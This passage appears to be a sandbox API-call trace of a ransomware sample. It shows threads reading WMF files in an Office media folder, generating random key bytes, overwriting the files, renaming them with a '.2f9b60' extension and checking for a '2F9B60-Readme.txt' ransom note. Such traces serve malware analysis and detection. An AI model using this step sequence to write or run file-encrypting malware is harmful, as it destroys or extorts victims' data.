0x20260140 [0101.660] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20260140) returned 1 [0101.660] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x20451ef0 [0101.660] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260140 [0101.660] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202601d0 [0101.660] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202601d0) returned 1 [0101.660] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869e40) returned 1 [0101.660] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c8a0) returned 1 [0101.660] WriteFile (in: hFile=0x1580, lpBuffer=0x20451ef0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x1d36fb20, lpOverlapped=0x0 | out: lpBuffer=0x20451ef0*, lpNumberOfBytesWritten=0x1d36fb20*=0x3c00, lpOverlapped=0x0) returned 1 [0102.016] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20451ef0) returned 1 [0102.016] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4202e130) returned 1 [0102.017] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x20260560 [0102.017] SetFilePointerEx (in: hFile=0x1580, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0102.017] WriteFile (in: hFile=0x1580, lpBuffer=0x4205a890*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x1d36fbd0, lpOverlapped=0x0 | out: lpBuffer=0x4205a890*, lpNumberOfBytesWritten=0x1d36fbd0*=0x10a, lpOverlapped=0x0) returned 1 [0102.366] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd977b0 [0102.366] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869740 [0102.366] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263320 [0102.366] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20263320) returned 1 [0102.366] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82d000 [0102.366] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263320 [0102.367] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202632f0 [0102.367] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202632f0) returned 1 [0102.367] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869740) returned 1 [0102.367] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd977b0) returned 1 [0102.369] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1cd9f7f0 [0102.369] sprintf (in: _Dest=0x1cd9f7f0, _Format="%c%c" | out: _Dest="d3") returned 2 [0102.369] sprintf (in: _Dest=0x1cd9f7f2, _Format="%c%c" | out: _Dest="9c") returned 2 [0102.369] sprintf (in: _Dest=0x1cd9f7f4, _Format="%c%c" | out: _Dest="2c") returned 2 [0102.369] sprintf (in: _Dest=0x1cd9f7f6, _Format="%c%c" | out: _Dest="54") returned 2 [0102.369] sprintf (in: _Dest=0x1cd9f7f8, _Format="%c%c" | out: _Dest="16") returned 2 [0102.369] sprintf (in: _Dest=0x1cd9f7fa, _Format="%c%c" | out: _Dest="3a") returned 2 [0102.369] sprintf (in: _Dest=0x1cd9f7fc, _Format="%c%c" | out: _Dest="5c") returned 2 [0102.369] sprintf (in: _Dest=0x1cd9f7fe, _Format="%c%c" | out: _Dest="f3") returned 2 [0102.369] sprintf (in: _Dest=0x1cd9f800, _Format="%c%c" | out: _Dest="a8") returned 2 [0102.369] sprintf (in: _Dest=0x1cd9f802, _Format="%c%c" | out: _Dest="09") returned 2 [0102.369] sprintf (in: _Dest=0x1cd9f804, _Format="%c%c" | out: _Dest="52") returned 2 [0102.369] sprintf (in: _Dest=0x1cd9f806, _Format="%c%c" | out: _Dest="ad") returned 2 [0102.369] sprintf (in: _Dest=0x1cd9f808, _Format="%c%c" | out: _Dest="f4") returned 2 [0102.370] sprintf (in: _Dest=0x1cd9f80a, _Format="%c%c" | out: _Dest="61") returned 2 [0102.370] sprintf (in: _Dest=0x1cd9f80c, _Format="%c%c" | out: _Dest="10") returned 2 [0102.370] sprintf (in: _Dest=0x1cd9f80e, _Format="%c%c" | out: _Dest="8e") returned 2 [0102.370] sprintf (in: _Dest=0x1cd9f810, _Format="%c%c" | out: _Dest="fb") returned 2 [0102.370] sprintf (in: _Dest=0x1cd9f812, _Format="%c%c" | out: _Dest="9b") returned 2 [0102.370] sprintf (in: _Dest=0x1cd9f814, _Format="%c%c" | out: _Dest="30") returned 2 [0102.370] sprintf (in: _Dest=0x1cd9f816, _Format="%c%c" | out: _Dest="e5") returned 2 [0102.370] sprintf (in: _Dest=0x1cd9f818, _Format="%c%c" | out: _Dest="bb") returned 2 [0102.370] sprintf (in: _Dest=0x1cd9f81a, _Format="%c%c" | out: _Dest="fd") returned 2 [0102.370] sprintf (in: _Dest=0x1cd9f81c, _Format="%c%c" | out: _Dest="10") returned 2 [0102.370] sprintf (in: _Dest=0x1cd9f81e, _Format="%c%c" | out: _Dest="63") returned 2 [0102.370] RtlInitAnsiString (in: DestinationString=0x1d36fc48, SourceString="d39c2c54163a5cf3a80952adf461108efb9b30e5bbfd1063" | out: DestinationString="d39c2c54163a5cf3a80952adf461108efb9b30e5bbfd1063") [0102.370] RtlAnsiStringToUnicodeString (in: DestinationString=0x1d36fc18, SourceString="d39c2c54163a5cf3a80952adf461108efb9b30e5bbfd1063", AllocateDestinationString=1 | out: DestinationString="d39c2c54163a5cf3a80952adf461108efb9b30e5bbfd1063") returned 0x0 [0102.370] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1ced5860 [0102.370] wcscat (in: _Dest=0x4205d550, _Source="d39c2c54163a" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\d39c2c54163a") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\d39c2c54163a" [0102.371] wcscat (in: _Dest=0x4205d550, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\d39c2c54163a.2f9b60") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\d39c2c54163a.2f9b60" [0102.371] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\d39c2c54163a.2f9b60", NtPathName=0x1d36fbf0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\d39c2c54163a.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0102.371] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa8) returned 0x2050cdf0 [0105.929] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050cdf0) returned 1 [0105.929] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061230) returned 1 [0105.930] NtQueryInformationFile (in: FileHandle=0x1580, IoStatusBlock=0x1d36fc58, FileInformation=0x1d36fc68, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x1d36fc58, FileInformation=0x1d36fc68) returned 0x0 [0105.930] NtSetInformationFile (FileHandle=0x1580, IoStatusBlock=0x1d36fc58, FileInformation=0x1d36fc68, Length=0x28, FileInformationClass=0x4) returned 0x0 [0105.941] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205d550) returned 1 [0105.941] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced5860) returned 1 [0105.941] FlushFileBuffers (hFile=0x1580) returned 1 [0105.946] CloseHandle (hObject=0x1580) returned 1 [0105.949] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x88) returned 0x202a4800 [0105.949] wcscpy (in: _Dest=0x202a4800, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" [0105.949] wcscat (in: _Dest=0x202a4800, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2F9B60-Readme.txt" [0105.949] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\2f9b60-readme.txt")) returned 0x20 [0106.895] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a4800) returned 1 [0106.895] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf4dc80) returned 1 Thread: id = 741 os_tid = 0x1278 [0098.458] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0088542.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0088542.wmf")) returned 0x20 [0099.655] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0088542.WMF", dwFileAttributes=0x20) returned 1 [0099.655] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0088542.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0088542.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x157c [0099.656] GetFileSizeEx (in: hFile=0x157c, lpFileSize=0x1d6af6c0 | out: lpFileSize=0x1d6af6c0*=13826) returned 1 [0099.656] SetFilePointerEx (in: hFile=0x157c, liDistanceToMove=0x35fe, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.656] ReadFile (in: hFile=0x157c, lpBuffer=0x1d6af640, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1d6af688, lpOverlapped=0x0 | out: lpBuffer=0x1d6af640*, lpNumberOfBytesRead=0x1d6af688*=0x4, lpOverlapped=0x0) returned 1 [0099.785] SetFilePointerEx (in: hFile=0x157c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.786] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262480 [0099.786] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262570 [0099.786] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262600 [0099.786] NtQuerySystemTime (in: CurrentTime=0x1d6af580 | out: CurrentTime=0x1d6af580*=132462177053074000) returned 0x0 [0099.786] RtlRandomEx (in: Seed=0x1d6af570 | out: Seed=0x1d6af570) returned 0x1c7e2e71 [0099.786] RtlRandomEx (in: Seed=0x1d6af570 | out: Seed=0x1d6af570) returned 0x750e507c [0099.786] RtlRandomEx (in: Seed=0x1d6af570 | out: Seed=0x1d6af570) returned 0x4476257d [0099.786] RtlRandomEx (in: Seed=0x1d6af570 | out: Seed=0x1d6af570) returned 0x3cbf1b09 [0099.786] RtlRandomEx (in: Seed=0x1d6af570 | out: Seed=0x1d6af570) returned 0x3df7b248 [0099.786] RtlRandomEx (in: Seed=0x1d6af570 | out: Seed=0x1d6af570) returned 0x19a52e10 [0099.786] RtlRandomEx (in: Seed=0x1d6af570 | out: Seed=0x1d6af570) returned 0x7f7606c3 [0099.786] RtlRandomEx (in: Seed=0x1d6af570 | out: Seed=0x1d6af570) returned 0x3d13deb7 [0099.786] RtlRandomEx (in: Seed=0x1d6af570 | out: Seed=0x1d6af570) returned 0x7e75f2df [0099.786] RtlRandomEx (in: Seed=0x1d6af570 | out: Seed=0x1d6af570) returned 0x44fe56fb [0099.786] RtlRandomEx (in: Seed=0x1d6af570 | out: Seed=0x1d6af570) returned 0x1bd485df [0099.786] RtlRandomEx (in: Seed=0x1d6af570 | out: Seed=0x1d6af570) returned 0x90409fc [0099.787] RtlRandomEx (in: Seed=0x1d6af570 | out: Seed=0x1d6af570) returned 0x130849f1 [0099.787] RtlRandomEx (in: Seed=0x1d6af570 | out: Seed=0x1d6af570) returned 0x7e934489 [0099.787] RtlRandomEx (in: Seed=0x1d6af570 | out: Seed=0x1d6af570) returned 0x11cb7ded [0099.787] RtlRandomEx (in: Seed=0x1d6af570 | out: Seed=0x1d6af570) returned 0x7aab235 [0099.787] RtlRandomEx (in: Seed=0x1d6af570 | out: Seed=0x1d6af570) returned 0x48d88996 [0099.787] RtlRandomEx (in: Seed=0x1d6af570 | out: Seed=0x1d6af570) returned 0x61de3bf9 [0099.787] RtlRandomEx (in: Seed=0x1d6af570 | out: Seed=0x1d6af570) returned 0x1ff45dec [0099.787] RtlRandomEx (in: Seed=0x1d6af570 | out: Seed=0x1d6af570) returned 0x268a33dd [0099.787] RtlRandomEx (in: Seed=0x1d6af570 | out: Seed=0x1d6af570) returned 0x3b413e9e [0099.787] RtlRandomEx (in: Seed=0x1d6af570 | out: Seed=0x1d6af570) returned 0x7d528fee [0099.787] RtlRandomEx (in: Seed=0x1d6af570 | out: Seed=0x1d6af570) returned 0x23dd8982 [0099.787] RtlRandomEx (in: Seed=0x1d6af570 | out: Seed=0x1d6af570) returned 0x76f5e4f4 [0099.787] RtlRandomEx (in: Seed=0x1d6af570 | out: Seed=0x1d6af570) returned 0x53eee31e [0099.787] RtlRandomEx (in: Seed=0x1d6af570 | out: Seed=0x1d6af570) returned 0x743bc46 [0099.787] RtlRandomEx (in: Seed=0x1d6af570 | out: Seed=0x1d6af570) returned 0x58c04d4d [0099.787] RtlRandomEx (in: Seed=0x1d6af570 | out: Seed=0x1d6af570) returned 0x3eaa9f88 [0099.787] RtlRandomEx (in: Seed=0x1d6af570 | out: Seed=0x1d6af570) returned 0x307f0267 [0099.787] RtlRandomEx (in: Seed=0x1d6af570 | out: Seed=0x1d6af570) returned 0x4e4df5f6 [0099.787] RtlRandomEx (in: Seed=0x1d6af570 | out: Seed=0x1d6af570) returned 0x3a901919 [0099.787] RtlRandomEx (in: Seed=0x1d6af570 | out: Seed=0x1d6af570) returned 0xe69c11 [0100.754] ReadFile (in: hFile=0x157c, lpBuffer=0x1ce8a600, nNumberOfBytesToRead=0x3602, lpNumberOfBytesRead=0x1d6af570, lpOverlapped=0x0 | out: lpBuffer=0x1ce8a600*, lpNumberOfBytesRead=0x1d6af570*=0x3602, lpOverlapped=0x0) returned 1 [0101.679] SetFilePointerEx (in: hFile=0x157c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0101.680] WriteFile (in: hFile=0x157c, lpBuffer=0x202085a0*, nNumberOfBytesToWrite=0x3602, lpNumberOfBytesWritten=0x1d6af574, lpOverlapped=0x0 | out: lpBuffer=0x202085a0*, lpNumberOfBytesWritten=0x1d6af574*=0x3602, lpOverlapped=0x0) returned 1 [0102.019] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260a10 [0102.020] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202609b0 [0102.020] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202609b0) returned 1 [0102.020] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202085a0) returned 1 [0102.020] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce8a600) returned 1 [0102.020] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79dcf0) returned 1 [0102.020] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c260) returned 1 [0102.020] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x202609b0 [0102.021] SetFilePointerEx (in: hFile=0x157c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0102.021] WriteFile (in: hFile=0x157c, lpBuffer=0x4205a9b0*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x1d6af690, lpOverlapped=0x0 | out: lpBuffer=0x4205a9b0*, lpNumberOfBytesWritten=0x1d6af690*=0x10a, lpOverlapped=0x0) returned 1 [0102.372] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd977b0 [0102.372] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869740 [0102.372] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202622d0 [0102.372] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202622d0) returned 1 [0102.372] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82d000 [0102.372] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202622d0 [0102.372] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263a40 [0102.373] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20263a40) returned 1 [0102.373] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869740) returned 1 [0102.373] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd977b0) returned 1 [0102.373] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1cd9f7f0 [0102.373] sprintf (in: _Dest=0x1cd9f7f0, _Format="%c%c" | out: _Dest="7d") returned 2 [0102.373] sprintf (in: _Dest=0x1cd9f7f2, _Format="%c%c" | out: _Dest="42") returned 2 [0102.373] sprintf (in: _Dest=0x1cd9f7f4, _Format="%c%c" | out: _Dest="16") returned 2 [0102.373] sprintf (in: _Dest=0x1cd9f7f6, _Format="%c%c" | out: _Dest="fa") returned 2 [0102.373] sprintf (in: _Dest=0x1cd9f7f8, _Format="%c%c" | out: _Dest="e4") returned 2 [0102.373] sprintf (in: _Dest=0x1cd9f7fa, _Format="%c%c" | out: _Dest="b0") returned 2 [0102.373] sprintf (in: _Dest=0x1cd9f7fc, _Format="%c%c" | out: _Dest="08") returned 2 [0102.373] sprintf (in: _Dest=0x1cd9f7fe, _Format="%c%c" | out: _Dest="4a") returned 2 [0102.373] sprintf (in: _Dest=0x1cd9f800, _Format="%c%c" | out: _Dest="2f") returned 2 [0102.373] sprintf (in: _Dest=0x1cd9f802, _Format="%c%c" | out: _Dest="c0") returned 2 [0102.373] sprintf (in: _Dest=0x1cd9f804, _Format="%c%c" | out: _Dest="de") returned 2 [0102.373] sprintf (in: _Dest=0x1cd9f806, _Format="%c%c" | out: _Dest="38") returned 2 [0102.373] sprintf (in: _Dest=0x1cd9f808, _Format="%c%c" | out: _Dest="1d") returned 2 [0102.374] sprintf (in: _Dest=0x1cd9f80a, _Format="%c%c" | out: _Dest="a2") returned 2 [0102.374] sprintf (in: _Dest=0x1cd9f80c, _Format="%c%c" | out: _Dest="e5") returned 2 [0102.374] sprintf (in: _Dest=0x1cd9f80e, _Format="%c%c" | out: _Dest="ee") returned 2 [0102.374] sprintf (in: _Dest=0x1cd9f810, _Format="%c%c" | out: _Dest="64") returned 2 [0102.374] sprintf (in: _Dest=0x1cd9f812, _Format="%c%c" | out: _Dest="cf") returned 2 [0102.374] sprintf (in: _Dest=0x1cd9f814, _Format="%c%c" | out: _Dest="87") returned 2 [0102.374] sprintf (in: _Dest=0x1cd9f816, _Format="%c%c" | out: _Dest="78") returned 2 [0102.374] sprintf (in: _Dest=0x1cd9f818, _Format="%c%c" | out: _Dest="4a") returned 2 [0102.374] sprintf (in: _Dest=0x1cd9f81a, _Format="%c%c" | out: _Dest="09") returned 2 [0102.374] sprintf (in: _Dest=0x1cd9f81c, _Format="%c%c" | out: _Dest="67") returned 2 [0102.374] sprintf (in: _Dest=0x1cd9f81e, _Format="%c%c" | out: _Dest="da") returned 2 [0102.374] RtlInitAnsiString (in: DestinationString=0x1d6af708, SourceString="7d4216fae4b0084a2fc0de381da2e5ee64cf87784a0967da" | out: DestinationString="7d4216fae4b0084a2fc0de381da2e5ee64cf87784a0967da") [0102.374] RtlAnsiStringToUnicodeString (in: DestinationString=0x1d6af6d8, SourceString="7d4216fae4b0084a2fc0de381da2e5ee64cf87784a0967da", AllocateDestinationString=1 | out: DestinationString="7d4216fae4b0084a2fc0de381da2e5ee64cf87784a0967da") returned 0x0 [0102.374] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1ced58d0 [0102.374] wcscat (in: _Dest=0x4205d5f0, _Source="7d4216fae4b0" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\7d4216fae4b0") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\7d4216fae4b0" [0102.374] wcscat (in: _Dest=0x4205d5f0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\7d4216fae4b0.2f9b60") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\7d4216fae4b0.2f9b60" [0102.374] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\7d4216fae4b0.2f9b60", NtPathName=0x1d6af6b0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\7d4216fae4b0.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0102.374] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa8) returned 0x2050cea0 [0105.930] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050cea0) returned 1 [0105.930] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061460) returned 1 [0105.930] NtQueryInformationFile (in: FileHandle=0x157c, IoStatusBlock=0x1d6af718, FileInformation=0x1d6af728, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x1d6af718, FileInformation=0x1d6af728) returned 0x0 [0105.931] NtSetInformationFile (FileHandle=0x157c, IoStatusBlock=0x1d6af718, FileInformation=0x1d6af728, Length=0x28, FileInformationClass=0x4) returned 0x0 [0105.938] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205d5f0) returned 1 [0105.938] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced58d0) returned 1 [0105.938] FlushFileBuffers (hFile=0x157c) returned 1 [0105.950] CloseHandle (hObject=0x157c) returned 1 [0105.951] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x88) returned 0x202a4650 [0105.951] wcscpy (in: _Dest=0x202a4650, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" [0105.951] wcscat (in: _Dest=0x202a4650, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2F9B60-Readme.txt" [0105.951] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\2f9b60-readme.txt")) returned 0x20 [0107.439] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a4650) returned 1 [0107.439] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf4dd10) returned 1 Thread: id = 742 os_tid = 0x127c [0098.460] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0090070.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0090070.wmf")) returned 0x20 [0099.664] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0090070.WMF", dwFileAttributes=0x20) returned 1 [0099.665] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0090070.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0090070.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x158c [0099.665] GetFileSizeEx (in: hFile=0x158c, lpFileSize=0x1df7fd80 | out: lpFileSize=0x1df7fd80*=34944) returned 1 [0099.665] SetFilePointerEx (in: hFile=0x158c, liDistanceToMove=0x887c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.665] ReadFile (in: hFile=0x158c, lpBuffer=0x1df7fd00, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1df7fd48, lpOverlapped=0x0 | out: lpBuffer=0x1df7fd00*, lpNumberOfBytesRead=0x1df7fd48*=0x4, lpOverlapped=0x0) returned 1 [0099.875] SetFilePointerEx (in: hFile=0x158c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.875] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262480 [0099.875] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262840 [0099.875] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202628d0 [0099.875] NtQuerySystemTime (in: CurrentTime=0x1df7fc40 | out: CurrentTime=0x1df7fc40*=132462177054010000) returned 0x0 [0099.875] RtlRandomEx (in: Seed=0x1df7fc30 | out: Seed=0x1df7fc30) returned 0x33f974bd [0099.875] RtlRandomEx (in: Seed=0x1df7fc30 | out: Seed=0x1df7fc30) returned 0x60edbb28 [0099.876] RtlRandomEx (in: Seed=0x1df7fc30 | out: Seed=0x1df7fc30) returned 0x10da1879 [0099.876] RtlRandomEx (in: Seed=0x1df7fc30 | out: Seed=0x1df7fc30) returned 0x62cc5bd [0099.876] RtlRandomEx (in: Seed=0x1df7fc30 | out: Seed=0x1df7fc30) returned 0x74661509 [0099.876] RtlRandomEx (in: Seed=0x1df7fc30 | out: Seed=0x1df7fc30) returned 0x5158cf10 [0099.876] RtlRandomEx (in: Seed=0x1df7fc30 | out: Seed=0x1df7fc30) returned 0x47359704 [0099.876] RtlRandomEx (in: Seed=0x1df7fc30 | out: Seed=0x1df7fc30) returned 0x64abfab6 [0099.876] RtlRandomEx (in: Seed=0x1df7fc30 | out: Seed=0x1df7fc30) returned 0x42e0a4f8 [0099.876] RtlRandomEx (in: Seed=0x1df7fc30 | out: Seed=0x1df7fc30) returned 0x387c3ca3 [0099.876] RtlRandomEx (in: Seed=0x1df7fc30 | out: Seed=0x1df7fc30) returned 0x2e5fa8cb [0099.876] RtlRandomEx (in: Seed=0x1df7fc30 | out: Seed=0x1df7fc30) returned 0x6c0a4f03 [0099.876] RtlRandomEx (in: Seed=0x1df7fc30 | out: Seed=0x1df7fc30) returned 0x4c34664a [0099.876] RtlRandomEx (in: Seed=0x1df7fc30 | out: Seed=0x1df7fc30) returned 0x1988f725 [0099.876] RtlRandomEx (in: Seed=0x1df7fc30 | out: Seed=0x1df7fc30) returned 0x68e2e043 [0099.876] RtlRandomEx (in: Seed=0x1df7fc30 | out: Seed=0x1df7fc30) returned 0x62cffabd [0099.876] RtlRandomEx (in: Seed=0x1df7fc30 | out: Seed=0x1df7fc30) returned 0x4498a94a [0099.876] RtlRandomEx (in: Seed=0x1df7fc30 | out: Seed=0x1df7fc30) returned 0x7e0b1b5c [0099.876] RtlRandomEx (in: Seed=0x1df7fc30 | out: Seed=0x1df7fc30) returned 0x6905919e [0099.876] RtlRandomEx (in: Seed=0x1df7fc30 | out: Seed=0x1df7fc30) returned 0x710a0bf3 [0099.876] RtlRandomEx (in: Seed=0x1df7fc30 | out: Seed=0x1df7fc30) returned 0x5b945074 [0099.876] RtlRandomEx (in: Seed=0x1df7fc30 | out: Seed=0x1df7fc30) returned 0xf7aaf09 [0099.876] RtlRandomEx (in: Seed=0x1df7fc30 | out: Seed=0x1df7fc30) returned 0x48c8dd17 [0099.876] RtlRandomEx (in: Seed=0x1df7fc30 | out: Seed=0x1df7fc30) returned 0x6a9e9ee7 [0099.876] RtlRandomEx (in: Seed=0x1df7fc30 | out: 